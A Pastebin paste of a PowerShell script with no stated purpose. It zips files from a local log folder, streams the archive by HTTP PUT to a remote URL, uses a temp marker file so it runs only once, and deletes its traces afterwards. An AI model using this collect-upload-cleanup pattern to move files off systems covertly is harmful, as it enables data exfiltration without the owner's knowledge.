Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function Add-Zip
- {
- param([string]$zipfilename)
- if(-not (test-path($zipfilename)))
- {
- set-content $zipfilename ("PK" + [char]5 + [char]6 + ("$([char]0)" * 18))
- (dir $zipfilename).IsReadOnly = $false
- }
- $shellApplication = new-object -com shell.application
- $zipPackage = $shellApplication.NameSpace($zipfilename)
- foreach($file in $input)
- {
- $zipPackage.CopyHere($file.FullName)
- }
- }
- function Upload-File
- {
- param(
- [string]$Url,
- [string]$FilePath
- )
- $bufSize=1024*1000
- $timeout=10000000
- $wr = [System.Net.HttpWebRequest]::Create($url)
- $wr.Timeout = $timeout
- $wr.Method = "PUT"
- $wr.ContentType = "application/data"
- $wr.AllowWriteStreamBuffering=$false
- $wr.SendChunked=$true
- $rs = $wr.GetRequestStream()
- $fileStream = [System.IO.File]::OpenRead($FilePath)
- $chunk = New-Object byte[] $bufSize
- while($bytesRead = $fileStream.Read($chunk,0,$bufSize))
- {
- $rs.write($chunk, 0, $bytesRead)
- $rs.Flush()
- }
- $fileStream.Close()
- $rs.Close()
- }
- $flag = "$env:TMP\vtest"
- if (test-path($flag))
- {
- exit;
- }
- echo 1 >$flag
- cd C:\\logYzm
- $z="$env:TMP\t.zip"
- if (test-path($z))
- {
- del $z
- }
- Get-ChildItem C:\\logYzm\\td*|Add-Zip $z
- Upload-File -Url $url -FilePath $z
- del $z
- del $flag
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement